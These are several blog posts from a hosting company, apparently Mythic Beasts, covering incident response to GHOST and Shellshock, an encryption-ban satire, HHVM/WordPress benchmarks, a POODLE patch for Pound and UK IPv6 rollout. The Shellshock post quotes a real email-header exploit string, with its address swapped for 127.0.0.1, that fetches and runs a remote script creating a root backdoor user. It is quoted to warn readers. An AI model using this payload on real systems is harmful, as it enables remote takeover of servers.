I would like to introduce our all new female GHOSTbusting team to tenuously tie in with a new Hollywood movie and gratuitously include a cool staff photo in this blog post, and for marketing reasons I’m going to ignore the reality that Toby did all the updates for GHOST.

Qualys found during a code audit a buffer overflow exploit for gethostbyname() in glibc which they’ve named GHOST. This means that any internet facing software that can be persuaded to do a DNS lookup is potentially vulnerable. To a first approximation that’s everything that’s listening on an internet socket.

The details are in CVE-2015-0235. Note this explains quite comprehensively how to exploit the vulnerability so we are expecting active exploitation to have already started.

The vulnerability was announced at 16:30 on Tuesday, at 16:40 the first ticket was opened in our queue automatically. We started reviewing the information shortly thereafter and deployed the updated packages to our shared hosting servers Tuesday evening. This gives a short window to discover any critical issues with the new packages before we start deploying updates to our managed hosting customers.

At 8:30am on Wednesday, we emailed every managed customer running vulnerable code (which is almost but not quite all of them) explaining the issue and indicating we’d be applying the patches immediately unless otherwise instructed not to. Giving customers a short window to reply before going ahead (some are automatically deploying via Puppet and don’t want us to update for them) we then applied the updates to the customer servers, which involved very brief interruptions to listening services as they restarted.

Subsequently spot auditing some customer machines indicates that the glibc update via the package manager may not have restarted every vulnerable process. We’re now writing some audit tools to check for missing service restarts. Tomorrow morning at 6am, our reporting package will report in lots of data about the status of all our managed customer machines including the complete process list and complete list of listening services, so on our reporting box we can do a complete audit for every listening process that hasn’t been restarted in the last 24 hours and investigate and fix where necessary.

If you aren’t a managed hosting customer of Mythic Beasts we implore you to update your systems as soon as possible, we strongly expect that someone is going to build a very big denial of service botnet very quickly from this vulnerability. If you have no idea how to update and audit your server please get in contact with us at support @ mythic-beasts.com even if you’re not hosted with Mythic Beasts.

Today we’re at the UK Network Operators Forum and we’ve just had a talk from Kevin Williams, Partnership Engagement and National Cyber Crime Capabilities Manager at the National Crime Agency.

He was asked,

‘Do you believe that banning secure encryption will make the UK more secure’.

His answer was,

‘My personal opinion is no, and you can quote me on that’.

Which shows that at least one person in our government has some clue even if David Cameron doesn’t.

8:30 : Wake up and get out of bed. Open the curtains to see the sun shining, put a dressing gown on and go downstairs to make some coffee.

8:40 : Take coffee to the home office and open up the laptop to start some work.

8:41 : Laptop does not ask for a password to decrypt the encrypted filesystem and refuses to work.

8:42 : Sip coffee and wait for desktop to boot.

8:43 : Log into desktop machine.
this wouldn’t actually work either, but we’re going to lie for narrative structure

8:45 : Open up web browser, default homepage is our support queue which displays message ‘I’m afraid this uses illegal encryption technology and you are not allowed to access this page’.

8:50 : Drink some more coffee.

8:55 : Realise there’s a copy of the customer support tickets in email, turn on email client.

8:56 : Wonder why email client gives strange connection errors that the mail server is refusing to allow it to connect with SSL turned on.

9:00 : Give up on email entirely, hurrah!

9:01 : Look at empty coffee cup, go downstairs to the kitchen to refill the coffee cup.

9:10 : Log on to company chat-room which fails to work with a connection error.

9:15 : Think this is all a bit bizarre so phone colleague on mobile, she answers to say that she’s having lots of problems too.

Spilled Coffee by Kenny Smith

9:20 : Conclude that the winning plan is clearly to spend the day updating some documentation while drinking coffee.

9:25 : Company wiki fails to load. Secure connection error.

9:30 : Decide to check the mrtg monitoring graphs to see if the network is working. Connection fails.

9:35 : Probably best to start fixing the mrtg monitoring server, first step, log into our bastion host which manages the access controls for servers on our network. Connection fails.

9:40 : This is getting really weird, probably best to go off and feed the cat who’s been miaowing for the last fifteen minutes demanding breakfast.

9:45 : Examine coffee carefully to check it’s not been tampered with and had hallucinogenic drugs added. Realise that if hallucinating could be hallicinating that no drugs were added when they were and how would you tell anyway. Conclude this is about to turn into a long, complex and ultimately nugatory philosophy problem.

10:00 : Return to desk, decide that the best plan is to audit our assets database and resolve some discrepancies between reality and the database by visiting the data centre.

10:05 : Unable to book visit to data centre, the data centre portal doesn’t work, connection errors.

10:10 : Unable to load the assets database, secure connection error.

10:11 : Unable to book car, Zipcar is down.

10:12 : Unable to look at map, Google Maps is down.

10:15 : Decide that the winning plan is to just give up, drink coffee and watch cat videos on youtube. Youtube fails to load with a secure connection error.

10:17 : Skim the news which has some article about a new government and some encryption technology. Click on a link in the forum which surprisingly fails to rick-roll.

10:20 : Now really very annoyed, going to have to waste time on facebook. Facebook refuses to load with a secure connection error.

10:30 : Phone company conference number for conference call to organise the day. Connection error.

10:35 : Really running out of ideas now of what to do. Go for a walk outside to a coffee shop. Mildly surprised that the sunshine is still working.

10:55 : Arrive in coffee shop to be greeted as Arthur Dent. Realise still wearing dressing gown, and for forms sake must now try and order a cup of tea.

11:00 : Order tea, coffee shop tells us that the credit card payment machine isn’t working and we’ll have to pay in cash. Observe that our wallet is empty. Leave coffee shop to go to cash machine.

11:10 : Cash machine is out of order.

11:30 : Return home and get dressed. Then collect cheque book, return to coffee shop. Persuade them that they can accept a cheque and order tea.

12:30 : Reflect that todays achievements so far consist of buying a cup of brown liquid that was almost but not quite entirely unlike tea. Go back home to face the afternoon.

13:00 : Decide that this is pointless and book tomorrow off. Holiday booking system doesn’t work, connection error.

13:10 : Decide this is lunacy and want to resign. Go to Linked In to update CV and find new job. Connection error.

13:20 : New job will probably be as crap as this one. Just resign. Fire up word processor, write resignation letter and email to boss.

13:30 : Email doesn’t work. Print it out.

13:40 : Printing doesn’t print either. Give up and copy it off the screen with a pen onto a piece of paper ready to post to boss. Realise there’s no stamps and with no cash it’s going to be hard to buy one.

13:45 : That’s it! Game over man! Game over! What the **** are we gonna do now? What are we gonna do? Maybe we could build a fire and sing a couple of songs? Why don’t we try that?

13:50 : Stop panicking and hit upon a cunning plan, steal all the money from the company and flee to a more sensible country than this one.

14:00 : Try to book a flight to Athens. Shopping cart fails with a connection error.

14:10 : Try to go to the bank website to withdraw all the money. Fails with a connection error.

14:20 : Visit the bank in person to steal all the money. Bank has a massive queue of people complaining because they can’t withdraw their money, apparently there’s ‘computer problems’.

14:30 : Give up on humanity entirely and go and find a park bench on which to live, in the vague hope that someone has a gold brick with which to wrap around a slice of lemon for brain smashing purposes.

The new Mythic Beasts Offices (public domain)

So last week we built a fort from some old customer servers. Sometimes, though, it’s important to just try a little bit harder.

Hip Hop is not only a style of music, but also the name of a virtual machine written by Facebook which compiles PHP Just In Time to make it go quickly.

Now we receive lots of unsolicited advice about how to run a not very popular wordpress blog and cope with the volume of traffic. Usually this involves ripping and replacing the entire infrastructure from a standard Linux/Apache/MySQL/PHP stack to something different (Nginx/MariaDB/PostgreSQL) which may not even be able to run WordPress at all (e.g. node.js).

At Mythic Beasts we like to understand what we’re doing, rather than blindly installing Magic Go Faster Solution Number 7. So we set up a test 2GB dual core virtual machine, that runs WordPress and a selection of popular plugins ( WordPress SEO, Akismet, Safe Report Comments, Liveblog, Facebook, Yet Another Related Posts Plugin, WordPress Supercache and Jetpack, no endorsement implied). Then we benchmarked with siege and managed the following results.

Apache/mod_php : 5.10 trans/sec

and when you turn supercache on and serve cached pages you get

Apache/mod_php/supercache : 873.50 trans/sec

So this gives us two scenarios, pages which we have to generate content for which can easily cause load issues, and pages served from supercache in which our VM is fast enough for all practical purposes and will easily weather even very big traffic spikes from news websites or television adverts.

Now, it’s very popular to tell us to use Ngnix as it’s faster than Apache. Is it though?

Nginx/php-fpm: 5.70 trans/sec
Nginx/php-fpm/supercache: 2230.58 trans/sec

Wow! Nginx is three times quicker than Apache at serving cached pages. This is amazing, but not very helpful. It means when our webserver is serving pages really quickly, we serve pages at three times really quickly, but when we’re generating pages on demand, it’s about 10% quicker. That’s not very special and doesn’t justify a rip and replace of the whole installation for a 10% performance improvement.

A quick look at the VM during the testing tells us that the bottleneck is executing the PHP code which creates WordPress pages. The choice of webserver is basically irrelevant; almost all the server time is spent executing PHP and reading data from the database.

Enter HipHop Virtual Machine.

This is nothing to do with the HipHop Virtual Machine. But we like tea and Banging Tunes

It has one focus, to execute PHP quickly for Facebook. Facebook have a lot of servers and spend hundreds of millions to billions per year on servers and data centres. A 50% performance improvement in PHP saves them huge sums of money in data centres and servers alone, so it’s clearly worth them trying to optimise as much as possible.

Here’s what happens with Apache/Nginx running HHVM.

Apache/HHVM :           35.93 trans/sec
Apache/HHVM/supercache: 928.70 trans/sec
Nginx/HHVM :            33.78 trans/sec
Nginx/HHVM/supercache : 2137.67 trans/sec

This is a huge improvement for non cached pages – seven times faster. Cached pages are bottlenecked in the webserver so it makes minimal difference, but they were already so fast we weren’t worried about them. Again Apache/Nginx are still pretty much the same speed for generated pages, we’re still dominated by the code execution time but a seven fold performance improvement is worth seriously considering.

Whilst we can reconfigure servers standing on our heads, we usually don’t.
Photo credit: Mark Dolby, Flickr, CC-BY.

All I need to do now is see if I can find someone with a very busy WordPress site and a million complaining users who would like to test it to see if it’s really as good as the lab tests suggest it might be.

Very sorry to hear the news that Big Bank Hank who co-wrote the first ever hit Rap track Rappers Delight died earlier this week from kidney complications related to cancer.

You see, he was six foot one, and he was tons of fun

At Mythic Beasts we try very hard to keep our customers happy, and to do our absolute best to meet their requirements in requests, even if they’re occasionally a little bit unusual.

One of our long standing customers is refreshing some of their hardware, and we had the following exchange to sort out the details

customer> The following 8 servers have been decommissioned and now need removing: 

mythic-beasts> We can sort that for you. Do you want to collect the servers or shall we recycle them for you?

customer> The drives can be kept for spares but you can ditch the servers or make a fort out of them or something..

a 1U server fort

Now it’s not really our field of expertise, but we think we’ve got a reasonable start on building a defensible concentric castle although we ran out of servers before we could start building the outer curtain wall.

We’ve already written about ShellShock, a vulnerability in bash.

Now we patched our systems quickly against it because we were aware that it looked easy to exploit and there were a great many different paths by which a piece of untrusted user input could arrive at a bash shell and exploit it. We’d seen several attacks over the web almost immediately, but now we’ve seen them starting to arrive by email.


To:() { :; }; /bin/sh -c '/bin/sh -c 'cd /tmp ;curl -sO
127.0.0.1/ex.sh;lwp-download http://127.0.0.1/ex.sh;wget
127.0.0.1/ex.sh;fetch 127.0.0.1/ex.sh;sh ex.sh;rm -fr ex.*' &'
&;
References:() { :; }; ...payload...
Cc:() { :; }; ...payload...
Bcc:() { :; }; ...payload...
From:() { :; }; ...payload...
Subject:() { :; }; ...payload...
Date:() { :; }; ...payload...
Message-ID:() { :; }; ...payload...
Comments:() { :; }; ...payload...
Keywords:() { :; }; ...payload...
Resent-Date:() { :; }; ...payload...
Resent-From:() { :; }; ...payload...


I’ve de-fanged the exploit by changing the IP address. The script downloaded adds a root user called inetd with a password of Inetd1!@#, to the machine, neatly giving a remote shell on any machine it succeeds on. The webserver logs will handily hold the IP addresses of all the infected machines. So all you need now is a nasty piece of spamming software to try and send a message through every mail server in the world and you’ve built a spam network consisting entirely of legitimate mailservers, or if you’re a government spying agency – the ability to intercept vast quantities of email with ease.

Note: It’s been commented that this only affects you if your mail server is running as root. That’s not true – imagine that it’s an email for root@the-mail-server-host which goes into a mail filter that calls out to a shell, not to mention depositing root exploits into logfiles that might get processed. There’s a vast number of subtle ways that this could end up in a copy of bash running as root.

Earlier this week, we wrote about the POODLE security vulnerability. As as result of this, we’ve been working with our customers to disable SSLv3 support from their SSL/TLS services.

At Mythic Beasts, we use Pound as a load balancer fairly extensively. It’s free, secure, fairly quick and easy to configure. Unfortunately, it didn’t have a configuration option to disable SSLv3.

Image courtesy of SOMMAI at FreeDigitalPhotos.net

One of the advantages of hosting on open source software is that we’re not at the mercy of a vendor for software updates, so we took a patch which adds the ability to disable SSLv3, added it to the standard Debian package and made it available to our managed customers through our private package repository.

This same package is now in Debian unstable and is working its way into the Debian security and backports repositories. This is made easier because the Debian pound maintainer, Brett Parker, works for Mythic Beasts and wrote the technical details on his blog.

As we have a number of customers using pound on CentOS, we have also created patched versions of CentOS packages of Pound, and raised a ticket With Fedora in order to get this into the stable build.

Recently Mythic Beasts went to the first meeting of the UK IPv6 Council, a non profit group to assist in rolling out IPv6 across the UK. There was a rapid exchange of knowledge, ideas and progress between organisations.

We heard from network engineers within BT, BSkyB and Virgin Media covering well over half of all the end users in the UK. BT and Virgin have enough IPv4 addresses not to require rolling out IPv6, BSkyB don’t and therefore need to either implement IPv6 or Carrier Grade NAT (CGN), and they really don’t like CGN. Virgin are having portions of their address space taken by other parts of the parent company so may also need IPv6 or CGN. They too don’t like CGN, and already have IPv6 support in all their SuperHubs, even if the functionality is currently disabled. All three companies have IPv6 support in various levels of trial with internal staff members running dual stack. However, all three have plans to roll out customer trials in the first part of 2015.

We also heard from the Belgian IPv6 council about how roll-out in Belgium occurred to nearly 30% of all end users having native IPv6, they went from less than 1% in May 2013, to 16% in May 2014, and 27% now. Once a couple of their large providers started enabling IPv6 the roll-out was very fast. It’s likely the same thing could happen in the UK with three major providers having significant IPv6 plans within the next 12 months.

As an idea of how quickly things might happen, T-Mobile USA has gone from nowhere to the 10th largest IPv6 deployment with 44% of their network IPv6 enabled within 12 months.

So at a guess, Mythic Beasts think that IPv6 rollout in the UK by December 2015, will be either less than 1%, about 25% or roughly 50%. We aren’t sure which, but we think it’s wise to be prepared for every eventuality. To help you with that we have an IPv6 health checker.

We’ve just become aware of a potentially very serious security hole in bash which is potentially remotely executable.

https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/

Whilst we don’t have enough details yet to evaluate the seriousness of this we’ve already applied the fixes to our administration servers and VPN gateways, and are now looking at rolling out the updates to all affected managed customers. Managed customers should expect an email shortly with further details.